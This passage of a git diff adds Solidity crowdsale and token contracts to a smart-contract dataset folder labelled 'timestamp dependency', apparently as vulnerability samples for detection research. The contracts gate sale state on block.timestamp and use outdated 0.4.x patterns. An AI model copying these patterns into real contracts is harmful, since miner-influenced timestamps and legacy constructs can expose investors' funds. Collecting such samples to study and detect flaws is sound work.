assert(!reservedTokensAreDistributed); + assert(distributedReservedTokensDestinationsLen < token.reservedTokensDestinationsLen()); + + + + uint tokensSold = 0; + for (uint8 i = 0; i < crowdsale.joinedCrowdsalesLen(); i++) { + CrowdsaleExt tier = CrowdsaleExt(crowdsale.joinedCrowdsales(i)); + tokensSold = tokensSold.plus(tier.tokensSold()); + } + + uint startLooping = distributedReservedTokensDestinationsLen; + uint batch = token.reservedTokensDestinationsLen().minus(distributedReservedTokensDestinationsLen); + if (batch >= reservedTokensDistributionBatch) { + batch = reservedTokensDistributionBatch; + } + uint endLooping = startLooping + batch; + + + for (uint j = startLooping; j < endLooping; j++) { + address reservedAddr = token.reservedTokensDestinations(j); + if (!token.areTokensDistributedForAddress(reservedAddr)) { + uint allocatedBonusInPercentage; + uint allocatedBonusInTokens = token.getReservedTokens(reservedAddr); + uint percentsOfTokensUnit = token.getReservedPercentageUnit(reservedAddr); + uint percentsOfTokensDecimals = token.getReservedPercentageDecimals(reservedAddr); + + if (percentsOfTokensUnit > 0) { + allocatedBonusInPercentage = tokensSold * percentsOfTokensUnit / 10**percentsOfTokensDecimals / 100; + token.mint(reservedAddr, allocatedBonusInPercentage); + } + + if (allocatedBonusInTokens > 0) { + token.mint(reservedAddr, allocatedBonusInTokens); + } + + token.finalizeReservedAddress(reservedAddr); + distributedReservedTokensDestinationsLen++; + } + } + + if (distributedReservedTokensDestinationsLen == token.reservedTokensDestinationsLen()) { + reservedTokensAreDistributed = true; + } + } + + + function finalizeCrowdsale() public { + assert(msg.sender == address(crowdsale)); + + if (token.reservedTokensDestinationsLen() > 0) { + assert(reservedTokensAreDistributed); + } + + token.releaseTokenTransfer(); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10023.sol b/smart_contract_dataset/timestamp dependency/10023.sol new file mode 100644 index 0000000000000000000000000000000000000000..e16dcffcf132660ed407e2459bf3fecce43d0d7a --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10023.sol @@ -0,0 +1,809 @@ + +pragma solidity ^0.4.11; + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + + + + + + + + + +library SafeMathLibExt { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function divides(uint a, uint b) returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + + + + + + + + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + + + + + + +contract PricingStrategy { + + address public tier; + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function updateRate(uint newOneTokenInWei) public; + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + + + + + + +contract FinalizeAgent { + + bool public reservedTokensAreDistributed = false; + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + function distributeReservedTokens(uint reservedTokensDistributionBatch); + + + function finalizeCrowdsale(); + +} + + + + + + + + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract FractionalERC20Ext is ERC20 { + + uint public decimals; + uint public minCap; + +} + + + + +contract CrowdsaleExt is Haltable { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLibExt for uint; + + + FractionalERC20Ext public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + string public name; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public investorCount = 0; + + + bool public finalized; + + bool public isWhiteListed; + + address[] public joinedCrowdsales; + uint8 public joinedCrowdsalesLen = 0; + uint8 public joinedCrowdsalesLenMax = 50; + struct JoinedCrowdsaleStatus { + bool isJoined; + uint8 position; + } + mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + struct WhiteListData { + bool status; + uint minCap; + uint maxCap; + } + + + bool public isUpdatable; + + + mapping (address => WhiteListData) public earlyParticipantWhitelist; + + + address[] public whitelistedParticipants; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Whitelisted(address addr, bool status, uint minCap, uint maxCap); + event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); + + + event StartsAtChanged(uint newStartsAt); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { + + owner = msg.sender; + + name = _name; + + token = FractionalERC20Ext(_token); + + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + + isUpdatable = _isUpdatable; + + isWhiteListed = _isWhiteListed; + } + + + function() payable { + throw; + } + + + function investInternal(address receiver, uint128 customerId) stopInEmergency private { + + + if(getState() == State.PreFunding) { + + throw; + } else if(getState() == State.Funding) { + + + if(isWhiteListed) { + if(!earlyParticipantWhitelist[receiver].status) { + throw; + } + } + } else { + + throw; + } + + uint weiAmount = msg.value; + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); + + if(tokenAmount == 0) { + + throw; + } + + if(isWhiteListed) { + if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { + + throw; + } + + + if (isBreakingInvestorCap(receiver, tokenAmount)) { + throw; + } + + updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); + } else { + if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { + throw; + } + } + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + + if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { + throw; + } + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + } + + + function invest(address addr) public payable { + investInternal(addr, 0); + } + + + function buy() public payable { + invest(msg.sender); + } + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); + } + } + + function areReservedTokensDistributed() public constant returns (bool) { + return finalizeAgent.reservedTokensAreDistributed(); + } + + function canDistributeReservedTokens() public constant returns(bool) { + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; + return false; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { + assert(address(addr) != address(0)); + assert(address(finalizeAgent) == address(0)); + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(maxCap > 0); + assert(minCap <= maxCap); + assert(now <= endsAt); + + if (!isAddressWhitelisted(addr)) { + whitelistedParticipants.push(addr); + Whitelisted(addr, status, minCap, maxCap); + } else { + WhitelistItemChanged(addr, status, minCap, maxCap); + } + + earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); + } + + function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { + if (!isWhiteListed) throw; + assert(now <= endsAt); + assert(addrs.length == statuses.length); + assert(statuses.length == minCaps.length); + assert(minCaps.length == maxCaps.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); + } + } + + function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { + if (!isWhiteListed) throw; + if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); + } + } + + function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(now <= endsAt); + assert(isTierJoined(msg.sender)); + if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; + + uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; + newMaxCap = newMaxCap.minus(tokensBought); + earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); + } + + function isAddressWhitelisted(address addr) public constant returns(bool) { + for (uint i = 0; i < whitelistedParticipants.length; i++) { + if (whitelistedParticipants[i] == addr) { + return true; + break; + } + } + + return false; + } + + function whitelistedParticipantsLength() public constant returns (uint) { + return whitelistedParticipants.length; + } + + function isTierJoined(address addr) public constant returns(bool) { + return joinedCrowdsaleState[addr].isJoined; + } + + function getTierPosition(address addr) public constant returns(uint8) { + return joinedCrowdsaleState[addr].position; + } + + function getLastTier() public constant returns(address) { + if (joinedCrowdsalesLen > 0) + return joinedCrowdsales[joinedCrowdsalesLen - 1]; + else + return address(0); + } + + function setJoinedCrowdsales(address addr) private onlyOwner { + assert(addr != address(0)); + assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); + assert(!isTierJoined(addr)); + joinedCrowdsales.push(addr); + joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ + isJoined: true, + position: joinedCrowdsalesLen + }); + joinedCrowdsalesLen++; + } + + function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { + assert(addrs.length > 0); + assert(joinedCrowdsalesLen == 0); + assert(addrs.length <= joinedCrowdsalesLenMax); + for (uint8 iter = 0; iter < addrs.length; iter++) { + setJoinedCrowdsales(addrs[iter]); + } + } + + function setStartsAt(uint time) onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(time <= endsAt); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + uint8 tierPosition = getTierPosition(this); + + + for (uint8 j = 0; j < tierPosition; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time >= crowdsale.endsAt()); + } + + startsAt = time; + StartsAtChanged(startsAt); + } + + + function setEndsAt(uint time) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(startsAt <= time); + assert(now <= endsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time <= crowdsale.startsAt()); + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { + assert(address(_pricingStrategy) != address(0)); + assert(address(pricingStrategy) == address(0)); + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else return State.Failure; + } + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); + + function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) private; +} + + + + + + + + + + +contract ReleasableToken is ERC20, Ownable { + + + address public releaseAgent; + + + bool public released = false; + + + mapping (address => bool) public transferAgents; + + + modifier canTransfer(address _sender) { + + if(!released) { + if(!transferAgents[_sender]) { + throw; + } + } + + _; + } + + + function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { + + + releaseAgent = addr; + } + + + function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { + transferAgents[addr] = state; + } + + + function releaseTokenTransfer() public onlyReleaseAgent { + released = true; + } + + + modifier inReleaseState(bool releaseState) { + if(releaseState != released) { + throw; + } + _; + } + + + modifier onlyReleaseAgent() { + if(msg.sender != releaseAgent) { + throw; + } + _; + } + + function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { + + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { + + return super.transferFrom(_from, _to, _value); + } + +} + + + +contract NullFinalizeAgentExt is FinalizeAgent { + + CrowdsaleExt public crowdsale; + + function NullFinalizeAgentExt(CrowdsaleExt _crowdsale) { + crowdsale = _crowdsale; + } + + + function isSane() public constant returns (bool) { + return true; + } + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public { + } + + + function finalizeCrowdsale() public { + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10024.sol b/smart_contract_dataset/timestamp dependency/10024.sol new file mode 100644 index 0000000000000000000000000000000000000000..0cf97716ffe1952a4b78387eaa7ee50c9c533948 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10024.sol @@ -0,0 +1,1014 @@ + + + +pragma solidity ^0.4.8; + + + +contract SafeMath { + function safeMul(uint a, uint b) internal returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function safeDiv(uint a, uint b) internal returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function safeSub(uint a, uint b) internal returns (uint) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint a, uint b) internal returns (uint) { + uint c = a + b; + assert(c>=a && c>=b); + return c; + } + + function max64(uint64 a, uint64 b) internal constant returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal constant returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal constant returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal constant returns (uint256) { + return a < b ? a : b; + } + +} + + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + + + + + + + + + +library SafeMathLibExt { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function divides(uint a, uint b) returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + + + + + + + + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + + + + + + +contract PricingStrategy { + + address public tier; + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function updateRate(uint newOneTokenInWei) public; + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + + + + + + +contract FinalizeAgent { + + bool public reservedTokensAreDistributed = false; + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + function distributeReservedTokens(uint reservedTokensDistributionBatch); + + + function finalizeCrowdsale(); + +} + + + + + + + + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract FractionalERC20Ext is ERC20 { + + uint public decimals; + uint public minCap; + +} + + + + +contract CrowdsaleExt is Haltable { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLibExt for uint; + + + FractionalERC20Ext public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + string public name; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public investorCount = 0; + + + bool public finalized; + + bool public isWhiteListed; + + address[] public joinedCrowdsales; + uint8 public joinedCrowdsalesLen = 0; + uint8 public joinedCrowdsalesLenMax = 50; + struct JoinedCrowdsaleStatus { + bool isJoined; + uint8 position; + } + mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + struct WhiteListData { + bool status; + uint minCap; + uint maxCap; + } + + + bool public isUpdatable; + + + mapping (address => WhiteListData) public earlyParticipantWhitelist; + + + address[] public whitelistedParticipants; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Whitelisted(address addr, bool status, uint minCap, uint maxCap); + event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); + + + event StartsAtChanged(uint newStartsAt); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { + + owner = msg.sender; + + name = _name; + + token = FractionalERC20Ext(_token); + + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + + isUpdatable = _isUpdatable; + + isWhiteListed = _isWhiteListed; + } + + + function() payable { + throw; + } + + + function investInternal(address receiver, uint128 customerId) stopInEmergency private { + + + if(getState() == State.PreFunding) { + + throw; + } else if(getState() == State.Funding) { + + + if(isWhiteListed) { + if(!earlyParticipantWhitelist[receiver].status) { + throw; + } + } + } else { + + throw; + } + + uint weiAmount = msg.value; + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); + + if(tokenAmount == 0) { + + throw; + } + + if(isWhiteListed) { + if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { + + throw; + } + + + if (isBreakingInvestorCap(receiver, tokenAmount)) { + throw; + } + + updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); + } else { + if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { + throw; + } + } + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + + if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { + throw; + } + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + } + + + function invest(address addr) public payable { + investInternal(addr, 0); + } + + + function buy() public payable { + invest(msg.sender); + } + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); + } + } + + function areReservedTokensDistributed() public constant returns (bool) { + return finalizeAgent.reservedTokensAreDistributed(); + } + + function canDistributeReservedTokens() public constant returns(bool) { + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; + return false; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { + assert(address(addr) != address(0)); + assert(address(finalizeAgent) == address(0)); + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(maxCap > 0); + assert(minCap <= maxCap); + assert(now <= endsAt); + + if (!isAddressWhitelisted(addr)) { + whitelistedParticipants.push(addr); + Whitelisted(addr, status, minCap, maxCap); + } else { + WhitelistItemChanged(addr, status, minCap, maxCap); + } + + earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); + } + + function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { + if (!isWhiteListed) throw; + assert(now <= endsAt); + assert(addrs.length == statuses.length); + assert(statuses.length == minCaps.length); + assert(minCaps.length == maxCaps.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); + } + } + + function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { + if (!isWhiteListed) throw; + if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); + } + } + + function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(now <= endsAt); + assert(isTierJoined(msg.sender)); + if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; + + uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; + newMaxCap = newMaxCap.minus(tokensBought); + earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); + } + + function isAddressWhitelisted(address addr) public constant returns(bool) { + for (uint i = 0; i < whitelistedParticipants.length; i++) { + if (whitelistedParticipants[i] == addr) { + return true; + break; + } + } + + return false; + } + + function whitelistedParticipantsLength() public constant returns (uint) { + return whitelistedParticipants.length; + } + + function isTierJoined(address addr) public constant returns(bool) { + return joinedCrowdsaleState[addr].isJoined; + } + + function getTierPosition(address addr) public constant returns(uint8) { + return joinedCrowdsaleState[addr].position; + } + + function getLastTier() public constant returns(address) { + if (joinedCrowdsalesLen > 0) + return joinedCrowdsales[joinedCrowdsalesLen - 1]; + else + return address(0); + } + + function setJoinedCrowdsales(address addr) private onlyOwner { + assert(addr != address(0)); + assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); + assert(!isTierJoined(addr)); + joinedCrowdsales.push(addr); + joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ + isJoined: true, + position: joinedCrowdsalesLen + }); + joinedCrowdsalesLen++; + } + + function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { + assert(addrs.length > 0); + assert(joinedCrowdsalesLen == 0); + assert(addrs.length <= joinedCrowdsalesLenMax); + for (uint8 iter = 0; iter < addrs.length; iter++) { + setJoinedCrowdsales(addrs[iter]); + } + } + + function setStartsAt(uint time) onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(time <= endsAt); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + uint8 tierPosition = getTierPosition(this); + + + for (uint8 j = 0; j < tierPosition; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time >= crowdsale.endsAt()); + } + + startsAt = time; + StartsAtChanged(startsAt); + } + + + function setEndsAt(uint time) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(startsAt <= time); + assert(now <= endsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time <= crowdsale.startsAt()); + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { + assert(address(_pricingStrategy) != address(0)); + assert(address(pricingStrategy) == address(0)); + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else return State.Failure; + } + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + 